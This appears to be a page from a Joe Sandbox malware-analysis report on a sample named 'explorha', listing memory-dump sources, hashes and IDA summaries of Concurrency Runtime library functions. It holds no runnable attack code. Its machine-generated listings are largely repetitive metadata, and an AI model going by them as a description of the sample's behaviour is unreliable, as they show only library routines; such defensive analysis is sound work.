Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00AF439F

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: e4a68fcd4fe4ff7f1a238c82a63d2f4669bcf1c71ac0f8e9b4fec0c85a4be38e
Instruction ID: 617f659c337e54a88993189381824e4b903fd52efb0d2fb65ae69aa25ccc5d20
Opcode Fuzzy Hash: e4a68fcd4fe4ff7f1a238c82a63d2f4669bcf1c71ac0f8e9b4fec0c85a4be38e
Instruction Fuzzy Hash: 1A313775A00309DFCF10DF94C5C0BBE7BB9AB48355F1404AAEA55AB346D730AA45DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B02A82 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00B02A89
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00B02AD4
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 00B02B07
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 00B02BB7

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 5b4ede5d726a9500f561820f1383c1de97caae2b6c978daa4cbed503bc3f269c
Instruction ID: 2622349a963d0e4d58981ac6a670b4a55363c6a17da99a940dd11c8d660a8229
Opcode Fuzzy Hash: 5b4ede5d726a9500f561820f1383c1de97caae2b6c978daa4cbed503bc3f269c
Instruction Fuzzy Hash: E1315DB1A006099FCF14DFA8C5955EDFBF5FF48310B14826DE51AA7390DB34A945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00AFB325 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00AFB32C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00AFB378
std::bad_exception::bad_exception.LIBCMT ref: 00AFB38E
std::bad_exception::bad_exception.LIBCMT ref: 00AFB3FA

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: a18f393686f775673a3c5bd0299c20b59c202b034acf626d2a50fd1c6b6b973c
Instruction ID: 85fe1b5dc795ee13cc7195a21b562d46e79f40997faa23126d1d1b4b2bb53502
Opcode Fuzzy Hash: a18f393686f775673a3c5bd0299c20b59c202b034acf626d2a50fd1c6b6b973c
Instruction Fuzzy Hash: E921AF329406189FDB05EFE4DA829BEB7F4BF05311B204069F205AB592DB71AE45CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00AFB6B6 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 00AFB6F9

Part of subcall function 00AFCBF0: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 00AFCC3F

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 00AFB70F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 00AFB75B

Part of subcall function 00AFC1D1: List.LIBCONCRT ref: 00AFC207

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 00AFB76B

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: 86bb37877c5082f3775c9661e83aa86b4293fb91ba47dab6e425fb1e52138278
Instruction ID: a877455ea6c476770c14c7c4e6f9e4326fe69a0cb672598c39c3e21f91ec0dc5
Opcode Fuzzy Hash: 86bb37877c5082f3775c9661e83aa86b4293fb91ba47dab6e425fb1e52138278
Instruction Fuzzy Hash: 3621BD319106189FCB24EFA5CA908BBB3F5FF883107004A1DF642A7661CB34F905CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B004EC Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00B004FA
ListArray.LIBCONCRT ref: 00B0050C

Part of subcall function 00B005B9: _InternalDeleteHelper.LIBCONCRT ref: 00B005CB

ListArray.LIBCONCRT ref: 00B00516
_InternalDeleteHelper.LIBCONCRT ref: 00B0052F

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
